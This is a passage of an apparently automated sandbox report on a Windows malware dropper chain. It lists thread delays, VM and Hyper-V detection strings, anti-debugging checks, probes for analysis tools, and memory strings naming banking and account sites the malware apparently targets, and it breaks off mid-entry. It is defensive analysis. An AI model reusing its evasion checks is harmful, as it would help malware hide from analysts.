Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593281
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593140
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593025
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 592884
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 592734
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 592515
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 592281
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 591922
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 591281
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 591047
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 590781
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 590578
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 590343
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 590093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589906
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589746
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589593
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589418
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589234
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 588984
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 588390
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 588125
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587990
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587812
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587659
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587531
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587360
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587234
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587105
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586988
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586862
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586733
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586616
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586484
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586349
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585831
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585703
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585577
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585468
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585358
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585249
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585136
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585010
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584905
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584781
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584652
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584546
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584435
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584327
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584215
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583968
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583834
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583640
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583281
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583137
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583013
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582901
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582772
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582619
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582500
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582372
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582203
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582015
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 581843
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 581672
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 581484
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 581250
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580984
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580625
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580479
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580342
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579905
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579751
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579625
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579500
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579390
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579268
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579125
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578967
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578859
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578740
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578578
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578297
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577862
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577702
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577584
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577453
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577341
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577231
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577123
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577007
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576900
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576796
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576656
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576441
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576318
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576177
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576047
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 575922
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 575794
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 575250
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 574859
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 922337203685477

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\AppData
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\Documents\desktop.ini

Source: skotes.exe, skotes.exe, 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmp, 26624fe56e.exe, 26624fe56e.exe, 0000000B.00000002.2363197027.0000000000BB0000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: muNJF0r.exe, 00000009.00000003.2229407321.0000000002D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 26624fe56e.exe, 0000000B.00000002.2364117616.0000000001608000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 376a884392.exe, 0000000C.00000003.2631548438.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2741973737.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2543605899.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2455820921.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2989174141.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2646255291.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3150907324.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029567766.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2640673941.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 26624fe56e.exe, 0000000B.00000002.2364117616.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: wscript.exe, 0000000A.00000003.2463727452.00000000027AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Q
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: muNJF0r.exe, 00000009.00000003.2229407321.0000000002D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.1591637872.0000000001633000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: wscript.exe, 0000000A.00000003.2463727452.00000000027AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\s
Source: 376a884392.exe, 0000000C.00000003.2631548438.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2741973737.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2543605899.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2455820921.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: 376a884392.exe.exe, 0000001A.00000003.2989174141.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2646255291.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3150907324.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029567766.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2640673941.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHO
Source: w32tm.exe, 0000002B.00000002.2678861233.00000225CC8E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmp, 26624fe56e.exe, 0000000B.00000002.2363197027.0000000000BB0000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 897a67bb94.exe, 00000019.00000003.2873534897.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2875633932.0000000001104000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2863056079.00000000010DD000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2877396645.0000000001116000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_H
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 376a884392.exe.exe, 0000001A.00000003.2834391877.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10887
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10926
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	API call chain: ExitProcess graph end node	graph_9-23699

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05550BEF rdtsc

0_2_05550BEF

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

